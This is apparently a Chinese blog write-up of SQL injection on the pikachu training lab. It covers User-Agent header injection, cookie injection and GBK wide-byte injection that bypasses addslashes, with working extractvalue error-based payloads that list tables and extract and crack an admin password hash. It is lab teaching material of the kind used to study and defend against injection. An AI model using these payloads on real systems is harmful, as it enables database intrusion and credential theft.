http header注入和宽字节注入

这次我们改用pikachu靶场来演示

1. http header 和 cookie注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发 人员为了验证客户端头信息(比如常用的cookie验证), 或者通过http header头信息获取客户端的一些 资料,比如useragent、accept字段等,会对客户端的http header信息进行获取并使用SQL进行处理, 如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。

我们先进入pikachu的 http header 来进行一下测试:

通过登录进去的信息,我们可以看到,它在前端给我们返回了user agent,那我们可以猜测,这个后端是不是对http header里面的数据进行了获取,应该也进 行了相关数据库的操作。

我们来看一下刚才的抓包,将它发送到repeater里面,将User-Agent删掉,自 己构造一个,还是按照之前的思路,先输入一个单引号:

前端给我们返回了报错信息,提示我们sql语法有错,那就可以确定存在sql注入

现在开始进行注入,此处利用报错注入的方法来注入,关于报错注入的内容可以查看之前的文章

(8条消息) DVWA之sql注入——联合注入和报错注入_梓桐sama的博客-CSDN博客

我们构造payload:

' or extractvalue(1,concat(0x7e,database())) or '

根据前端的回显结果,可知库名为pikachu

那接下来注入表数:

构造语句 ' or extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()))) or '

从前端的报错信息中可知有5张表

那现在就要开始爆表名了

构造 ' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) or '

第一张表为httpinfo

' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) or '

第二张表为member

以此方法分别注入

之后的三张表为:message,users,xssblind

users表中很有可能存放着用户信息,所以我们对users表中的字段进行注入

先注入其字段数

构造:' or extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) or '

可知有四个字段,那接下来就要注入其字段名:

构造:' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) or '

第一个字段为id

以此方法继续注入,可知后三个字段为:username,password,level

现在我们知道users表中有username和password字段,那我们需要注入出其具体信息

构造:' or extractvalue(1,concat(0x7e,(select username from users where id =1))) or '

注入出id=1的用户为admin

那还需要注入密码

' or extractvalue(1,concat(0x7e,(select password from users where id =1))) or '

注入出密码,但是被MD5加密了,我们可以尝试解密

md5在线解密破解,md5解密加密 (cmd5.com)

可知用户admin对应的密码为123456

那我们其实还可以尝试能不能在别的地方再找到注入点,我们可以用cookie来试一下

我们在cookie信息中的admin后面添加一个单引号,前端回显语法错误,存在SQL注入

那是否可以注入出我们需要的信息呢

构造一个payload:admin' and extractvalue(1,concat(0x7e,database())) or '

注入出库名pikachu,说明利用cookie也是可以注入的

2.宽字节注入

宽字节概念 : 1.单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)。 2.多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字 节来表示。 3.宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。

宽字节注入原理

为了防止网站被SQL注入,一些网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义。通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,那么输入的东西永远就是字符串,很显然这不符合SQL注入的要求。网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义。

addslashes()函数 1.addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 2.预定义字符:单引号('),双引号("),反斜杠(\),NULL 通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes()时,单引号会被转义,导致我们用来判断注入点的单引号失效。 所以我们的目的就是使转 义符 \ 失效、使单引号逃逸。

那么根据宽字节注入的原理可知,后端通过adds lashes()函数在我们构造的单引号前加入别的字符来转义,使得我们构造的sql语句失效。所以我们利用mysql的特性,在转义字符前再添加一个url编码的字符,这时mysql会将其识别为汉字。

下面我们来演示一下:

首先先来做一个正常的查询:

那我们尝试构造一个payload:kobe%df' or 1=1#

%df是用来结合转义字符的。

GBK 编码范围, GBK 编码表 (qqxiuzi.cn)

但是结果确没有注入成功

那我们用burp抓包看一下

从抓包内容来看,我们的%也被url编码了,所以导致我们原先构造的kobe%27变成了kobe

所以我们直接在burp中修改

注入成功

那现在我们就可以利用联合注入的方式来注入

注入出库名pikachu

下面过程不再演示,联合注入内容请查看(8条消息) DVWA之sql注入——联合注入和报错注入_梓桐sama的博客-CSDN博客

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值